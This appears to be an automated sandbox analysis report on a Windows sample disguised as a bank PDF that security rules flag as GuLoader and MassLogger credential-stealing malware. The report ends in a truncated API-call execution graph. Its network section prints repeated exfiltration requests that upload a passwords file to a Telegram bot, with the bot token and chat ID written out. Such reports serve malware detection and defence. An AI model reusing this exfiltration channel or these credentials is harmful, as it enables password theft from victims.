                                                                                                          2024-12-03 09:08:52 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 35 32 37 34 38 30 62 35 36 64 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd1527480b56d0Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:08:53 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:08:52 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 541
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:08:53 UTC541INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 32 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 39 33 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":525,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216932,"document":{"file_nam


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          15192.168.2.549951149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:55 UTC296OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
                                                                                                          Content-Type: multipart/form-data; boundary================8dd1550dbe05b85
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:08:55 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 35 35 30 64 62 65 30 35 62 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd1550dbe05b85Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:08:56 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:08:56 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 541
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:08:56 UTC541INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 32 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 39 33 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":527,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216936,"document":{"file_nam


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          16192.168.2.549961149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:08:59 UTC296OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
                                                                                                          Content-Type: multipart/form-data; boundary================8dd1585d359bba7
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:08:59 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 35 38 35 64 33 35 39 62 62 61 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd1585d359bba7Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:08:59 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:08:59 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 541
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:08:59 UTC541INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 39 33 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":529,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216939,"document":{"file_nam


                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                          17192.168.2.549970149.154.167.2204431292C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          TimestampBytes transferredDirectionData
                                                                                                          2024-12-03 09:09:03 UTC296OUTPOST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1
                                                                                                          Content-Type: multipart/form-data; boundary================8dd15c22b9affe2
                                                                                                          Host: api.telegram.org
                                                                                                          Content-Length: 1090
                                                                                                          Connection: Keep-Alive
                                                                                                          2024-12-03 09:09:03 UTC1090OUTData Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 35 63 32 32 62 39 61 66 66 65 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                                          Data Ascii: --===============8dd15c22b9affe2Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
                                                                                                          2024-12-03 09:09:04 UTC388INHTTP/1.1 200 OK
                                                                                                          Server: nginx/1.18.0
                                                                                                          Date: Tue, 03 Dec 2024 09:09:04 GMT
                                                                                                          Content-Type: application/json
                                                                                                          Content-Length: 541
                                                                                                          Connection: close
                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                          Access-Control-Allow-Origin: *
                                                                                                          Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                          Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                          2024-12-03 09:09:04 UTC541INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 31 36 39 34 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d
                                                                                                          Data Ascii: {"ok":true,"result":{"message_id":531,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733216944,"document":{"file_nam


                                                                                                          Click to jump to process

                                                                                                          Click to jump to process

                                                                                                          Click to dive into process behavior distribution

                                                                                                          Click to jump to process

                                                                                                          Target ID:0
                                                                                                          Start time:04:06:54
                                                                                                          Start date:03/12/2024
                                                                                                          Path:C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          Wow64 process (32bit):true
                                                                                                          Commandline:"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"
                                                                                                          Imagebase:0x400000
                                                                                                          File size:746'748 bytes
                                                                                                          MD5 hash:09B9BEEBDA4769C102CB42A564EF2001
                                                                                                          Has elevated privileges:true
                                                                                                          Has administrator privileges:true
                                                                                                          Programmed in:C, C++ or other language
                                                                                                          Yara matches:
                                                                                                          • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2518243952.00000000048D2000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                          Reputation:low
                                                                                                          Has exited:true

                                                                                                          Target ID:4
                                                                                                          Start time:04:07:44
                                                                                                          Start date:03/12/2024
                                                                                                          Path:C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          Wow64 process (32bit):true
                                                                                                          Commandline:"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"
                                                                                                          Imagebase:0x400000
                                                                                                          File size:746'748 bytes
                                                                                                          MD5 hash:09B9BEEBDA4769C102CB42A564EF2001
                                                                                                          Has elevated privileges:true
                                                                                                          Has administrator privileges:true
                                                                                                          Programmed in:C, C++ or other language
                                                                                                          Yara matches:
                                                                                                          • Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                          • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000004.00000002.3271650032.0000000002C42000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                          Reputation:low
                                                                                                          Has exited:false

                                                                                                          Reset < >

                                                                                                            Execution Graph

                                                                                                            Execution Coverage:20.1%
                                                                                                            Dynamic/Decrypted Code Coverage:15.2%
                                                                                                            Signature Coverage:18.9%
                                                                                                            Total number of Nodes:1510
                                                                                                            Total number of Limit Nodes:45
                                                                                                            execution_graph 4979 10001000 4982 1000101b 4979->4982 4989 1000152e 4982->4989 4984 10001020 4985 10001024 4984->4985 4986 10001027 GlobalAlloc 4984->4986 4987 10001555 3 API calls 4985->4987 4986->4985 4988 10001019 4987->4988 4990 10001243 3 API calls 4989->4990 4991 10001534 4990->4991 4992 1000153a 4991->4992 4993 10001546 GlobalFree 4991->4993 4992->4984 4993->4984 4994 401d41 GetDC GetDeviceCaps 4995 402b1d 18 API calls 4994->4995 4996 401d5f MulDiv ReleaseDC 4995->4996 4997 402b1d 18 API calls 4996->4997 4998 401d7e 4997->4998 4999 405f0c 18 API calls 4998->4999 5000 401db7 CreateFontIndirectW 4999->5000 5001 4024e8 5000->5001 5002 401a42 5003 402b1d 18 API calls 5002->5003 5004 401a48 5003->5004 5005 402b1d 18 API calls 5004->5005 5006 4019f0 5005->5006 5007 404243 lstrcpynW lstrlenW 5008 402746 5009 402741 5008->5009 5009->5008 5010 402756 FindNextFileW 5009->5010 5011 4027a8 5010->5011 5013 402761 5010->5013 5014 405eea lstrcpynW 5011->5014 5014->5013 5015 401cc6 5016 402b1d 18 API calls 5015->5016 5017 401cd9 SetWindowLongW 5016->5017 5018 4029c7 5017->5018 4135 401dc7 4143 402b1d 4135->4143 4137 401dcd 4138 402b1d 18 API calls 4137->4138 4139 401dd6 4138->4139 4140 401de8 EnableWindow 4139->4140 4141 401ddd ShowWindow 4139->4141 4142 4029c7 4140->4142 4141->4142 4144 405f0c 18 API calls 4143->4144 4145 402b31 4144->4145 4145->4137 5026 4045ca 5027 4045f6 5026->5027 5028 404607 5026->5028 5087 4056aa GetDlgItemTextW 5027->5087 5029 404613 GetDlgItem 5028->5029 5036 404672 5028->5036 5032 404627 5029->5032 5031 404601 5034 40617e 5 API calls 5031->5034 5035 40463b SetWindowTextW 5032->5035 5040 4059e0 4 API calls 5032->5040 5033 404756 5037 4048f7 5033->5037 5089 4056aa GetDlgItemTextW 5033->5089 5034->5028 5041 40412f 19 API calls 5035->5041 5036->5033 5036->5037 5042 405f0c 18 API calls 5036->5042 5039 404196 8 API calls 5037->5039 5044 40490b 5039->5044 5045 404631 5040->5045 5046 404657 5041->5046 5047 4046e6 SHBrowseForFolderW 5042->5047 5043 404786 5048 405a3d 18 API calls 5043->5048 5045->5035 5052 405935 3 API calls 5045->5052 5049 40412f 19 API calls 5046->5049 5047->5033 5050 4046fe CoTaskMemFree 5047->5050 5051 40478c 5048->5051 5053 404665 5049->5053 5054 405935 3 API calls 5050->5054 5090 405eea lstrcpynW 5051->5090 5052->5035 5088 404164 SendMessageW 5053->5088 5056 40470b 5054->5056 5059 404742 SetDlgItemTextW 5056->5059 5063 405f0c 18 API calls 5056->5063 5058 40466b 5061 406254 3 API calls 5058->5061 5059->5033 5060 4047a3 5062 406254 3 API calls 5060->5062 5061->5036 5070 4047ab 5062->5070 5064 40472a lstrcmpiW 5063->5064 5064->5059 5066 40473b lstrcatW 5064->5066 5065 4047ea 5091 405eea lstrcpynW 5065->5091 5066->5059 5068 4047f1 5069 4059e0 4 API calls 5068->5069 5071 4047f7 GetDiskFreeSpaceW 5069->5071 5070->5065 5074 405981 2 API calls 5070->5074 5075 40483c 5070->5075 5073 40481a MulDiv 5071->5073 5071->5075 5073->5075 5074->5070 5076 4048a6 5075->5076 5077 404978 21 API calls 5075->5077 5078 4048c9 5076->5078 5080 40140b 2 API calls 5076->5080 5079 404898 5077->5079 5092 404151 EnableWindow 5078->5092 5081 4048a8 SetDlgItemTextW 5079->5081 5082 40489d 5079->5082 5080->5078 5081->5076 5084 404978 21 API calls 5082->5084 5084->5076 5085 4048e5 5085->5037 5093 40455f 5085->5093 5087->5031 5088->5058 5089->5043 5090->5060 5091->5068 5092->5085 5094 404572 SendMessageW 5093->5094 5095 40456d 5093->5095 5094->5037 5095->5094 5096 401bca 5097 402b1d 18 API calls 5096->5097 5098 401bd1 5097->5098 5099 402b1d 18 API calls 5098->5099 5100 401bdb 5099->5100 5101 401beb 5100->5101 5102 402b3a 18 API calls 5100->5102 5103 401bfb 5101->5103 5104 402b3a 18 API calls 5101->5104 5102->5101 5105 401c06 5103->5105 5106 401c4a 5103->5106 5104->5103 5107 402b1d 18 API calls 5105->5107 5108 402b3a 18 API calls 5106->5108 5109 401c0b 5107->5109 5110 401c4f 5108->5110 5111 402b1d 18 API calls 5109->5111 5112 402b3a 18 API calls 5110->5112 5113 401c14 5111->5113 5114 401c58 FindWindowExW 5112->5114 5115 401c3a SendMessageW 5113->5115 5116 401c1c SendMessageTimeoutW 5113->5116 5117 401c7a 5114->5117 5115->5117 5116->5117 5118 40194b 5119 402b1d 18 API calls 5118->5119 5120 401952 5119->5120 5121 402b1d 18 API calls 5120->5121 5122 40195c 5121->5122 5123 402b3a 18 API calls 5122->5123 5124 401965 5123->5124 5125 401979 lstrlenW 5124->5125 5126 4019b5 5124->5126 5127 401983 5125->5127 5127->5126 5131 405eea lstrcpynW 5127->5131 5129 40199e 5129->5126 5130 4019ab lstrlenW 5129->5130 5130->5126 5131->5129 5135 4042cc 5137 4043fe 5135->5137 5138 4042e4 5135->5138 5136 404468 5139 404472 GetDlgItem 5136->5139 5140 40453a 5136->5140 5137->5136 5137->5140 5144 404439 GetDlgItem SendMessageW 5137->5144 5141 40412f 19 API calls 5138->5141 5142 4044fb 5139->5142 5143 40448c 5139->5143 5146 404196 8 API calls 5140->5146 5145 40434b 5141->5145 5142->5140 5147 40450d 5142->5147 5143->5142 5151 4044b2 6 API calls 5143->5151 5166 404151 EnableWindow 5144->5166 5149 40412f 19 API calls 5145->5149 5150 404535 5146->5150 5152 404523 5147->5152 5153 404513 SendMessageW 5147->5153 5155 404358 CheckDlgButton 5149->5155 5151->5142 5152->5150 5156 404529 SendMessageW 5152->5156 5153->5152 5154 404463 5157 40455f SendMessageW 5154->5157 5164 404151 EnableWindow 5155->5164 5156->5150 5157->5136 5159 404376 GetDlgItem 5165 404164 SendMessageW 5159->5165 5161 40438c SendMessageW 5162 4043b2 SendMessageW SendMessageW lstrlenW SendMessageW SendMessageW 5161->5162 5163 4043a9 GetSysColor 5161->5163 5162->5150 5163->5162 5164->5159 5165->5161 5166->5154 5167 4024cc 5168 402b3a 18 API calls 5167->5168 5169 4024d3 5168->5169 5172 405b56 GetFileAttributesW CreateFileW 5169->5172 5171 4024df 5172->5171 4206 1000278d 4207 100027dd 4206->4207 4208 1000279d VirtualProtect 4206->4208 4208->4207 5173 4019cf 5174 402b3a 18 API calls 5173->5174 5175 4019d6 5174->5175 5176 402b3a 18 API calls 5175->5176 5177 4019df 5176->5177 5178 4019e6 lstrcmpiW 5177->5178 5179 4019f8 lstrcmpW 5177->5179 5180 4019ec 5178->5180 5179->5180 4292 401e51 4293 402b3a 18 API calls 4292->4293 4294 401e57 4293->4294 4295 405194 25 API calls 4294->4295 4296 401e61 4295->4296 4310 405665 CreateProcessW 4296->4310 4299 401ec6 CloseHandle 4303 402793 4299->4303 4300 401e77 WaitForSingleObject 4301 401e89 4300->4301 4302 401e9b GetExitCodeProcess 4301->4302 4313 40628d 4301->4313 4304 401eba 4302->4304 4305 401ead 4302->4305 4304->4299 4308 401eb8 4304->4308 4317 405e31 wsprintfW 4305->4317 4308->4299 4311 401e67 4310->4311 4312 405694 CloseHandle 4310->4312 4311->4299 4311->4300 4311->4303 4312->4311 4314 4062aa PeekMessageW 4313->4314 4315 4062a0 DispatchMessageW 4314->4315 4316 401e90 WaitForSingleObject 4314->4316 4315->4314 4316->4301 4317->4308 4392 401752 4393 402b3a 18 API calls 4392->4393 4394 401759 4393->4394 4395 401781 4394->4395 4396 401779 4394->4396 4433 405eea lstrcpynW 4395->4433 4432 405eea lstrcpynW 4396->4432 4399 40177f 4403 40617e 5 API calls 4399->4403 4400 40178c 4401 405935 3 API calls 4400->4401 4402 401792 lstrcatW 4401->4402 4402->4399 4421 40179e 4403->4421 4404 4017da 4406 405b31 2 API calls 4404->4406 4405 40622d 2 API calls 4405->4421 4406->4421 4408 4017b0 CompareFileTime 4408->4421 4409 401870 4411 405194 25 API calls 4409->4411 4410 401847 4412 405194 25 API calls 4410->4412 4430 40185c 4410->4430 4414 40187a 4411->4414 4412->4430 4413 405eea lstrcpynW 4413->4421 4415 403062 46 API calls 4414->4415 4416 40188d 4415->4416 4417 4018a1 SetFileTime 4416->4417 4418 4018b3 CloseHandle 4416->4418 4417->4418 4420 4018c4 4418->4420 4418->4430 4419 405f0c 18 API calls 4419->4421 4422 4018c9 4420->4422 4423 4018dc 4420->4423 4421->4404 4421->4405 4421->4408 4421->4409 4421->4410 4421->4413 4421->4419 4426 4056c6 MessageBoxIndirectW 4421->4426 4431 405b56 GetFileAttributesW CreateFileW 4421->4431 4424 405f0c 18 API calls 4422->4424 4425 405f0c 18 API calls 4423->4425 4427 4018d1 lstrcatW 4424->4427 4428 4018e4 4425->4428 4426->4421 4427->4428 4429 4056c6 MessageBoxIndirectW 4428->4429 4429->4430 4431->4421 4432->4399 4433->4400 4434 402253 4435 402261 4434->4435 4436 40225b 4434->4436 4437 40226f 4435->4437 4439 402b3a 18 API calls 4435->4439 4438 402b3a 18 API calls 4436->4438 4440 402b3a 18 API calls 4437->4440 4442 40227d 4437->4442 4438->4435 4439->4437 4440->4442 4441 402b3a 18 API calls 4443 402286 WritePrivateProfileStringW 4441->4443 4442->4441 5181 4052d3 5182 4052f4 GetDlgItem GetDlgItem GetDlgItem 5181->5182 5183 40547f 5181->5183 5226 404164 SendMessageW 5182->5226 5184 4054b0 5183->5184 5185 405488 GetDlgItem CreateThread CloseHandle 5183->5185 5188 4054db 5184->5188 5189 405500 5184->5189 5190 4054c7 ShowWindow ShowWindow 5184->5190 5185->5184 5187 405365 5192 40536c GetClientRect GetSystemMetrics SendMessageW SendMessageW 5187->5192 5191 40553b 5188->5191 5194 405515 ShowWindow 5188->5194 5195 4054ef 5188->5195 5196 404196 8 API calls 5189->5196 5228 404164 SendMessageW 5190->5228 5191->5189 5199 405549 SendMessageW 5191->5199 5197 4053db 5192->5197 5198 4053bf SendMessageW SendMessageW 5192->5198 5201 405535 5194->5201 5202 405527 5194->5202 5200 404108 SendMessageW 5195->5200 5207 40550e 5196->5207 5204 4053e0 SendMessageW 5197->5204 5205 4053ee 5197->5205 5198->5197 5206 405562 CreatePopupMenu 5199->5206 5199->5207 5200->5189 5203 404108 SendMessageW 5201->5203 5208 405194 25 API calls 5202->5208 5203->5191 5204->5205 5210 40412f 19 API calls 5205->5210 5209 405f0c 18 API calls 5206->5209 5208->5201 5211 405572 AppendMenuW 5209->5211 5212 4053fe 5210->5212 5213 4055a2 TrackPopupMenu 5211->5213 5214 40558f GetWindowRect 5211->5214 5215 405407 ShowWindow 5212->5215 5216 40543b GetDlgItem SendMessageW 5212->5216 5213->5207 5217 4055bd 5213->5217 5214->5213 5218 40542a 5215->5218 5219 